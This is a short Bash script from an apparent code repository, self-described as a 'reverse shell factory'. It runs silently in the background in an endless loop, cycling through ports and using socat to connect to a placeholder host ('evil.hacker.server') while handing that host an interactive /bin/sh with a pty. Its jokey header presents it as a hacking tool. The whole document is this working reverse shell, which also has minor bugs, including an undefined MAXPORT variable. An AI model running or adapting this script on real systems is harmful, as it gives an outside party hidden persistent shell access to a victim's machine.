shell-me-bro/lol.sh
kayos 036c76706f Update 'lol.sh'
i don't wanna talk about it
2020-10-18 23:05:17 +00:00

42 lines
1.4 KiB
Bash

#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# ->BABBYS FIRST REVERSE SHELL FACTORY<- #
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# +RUNS ON YOUR GRANDMAS BLENDER #
# +HACKS YOUR EXES FACEBOOK #
# +MAKES YOU THE LEADER OF ANONYMOUS #
#\--------------------------------------/#
# Config ####
STARTPORT=105
ENDPORT=115
TIMEOUT=90
HOST=evil.hacker.server
#############
# initialize variable before we enter the while loop
PORT=$STARTPORT
while true;
do
# ----> remove any old left over files
find /tmp/ -iname "*.prt" -exec rm {} \;
# ---> ratchet destination ports when socat times out, reset once it counts to $ENDPORT
if [[ $PORT != $MAXPORT ]] then
PORT=$((PORT+1)) else
PORT=$STARTPORT
fi
# ----> provide a very crude indicator of what port we are currently using
touch /tmp/a${PORT}.prt
sleep 8
# ----> socat: ~0 protocol overhead, potential to provide fully interactive pty
# -------> and for *nix compatibility, particularly in IoT
# -------> future plans for this script involve more socat magic
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
exec:/bin/sh,pty,stderr,setsid,sigint,sane; # easier to acquire a pty (if env allows) vs nc
# suppress all console output and run in the background
done &>/dev/null&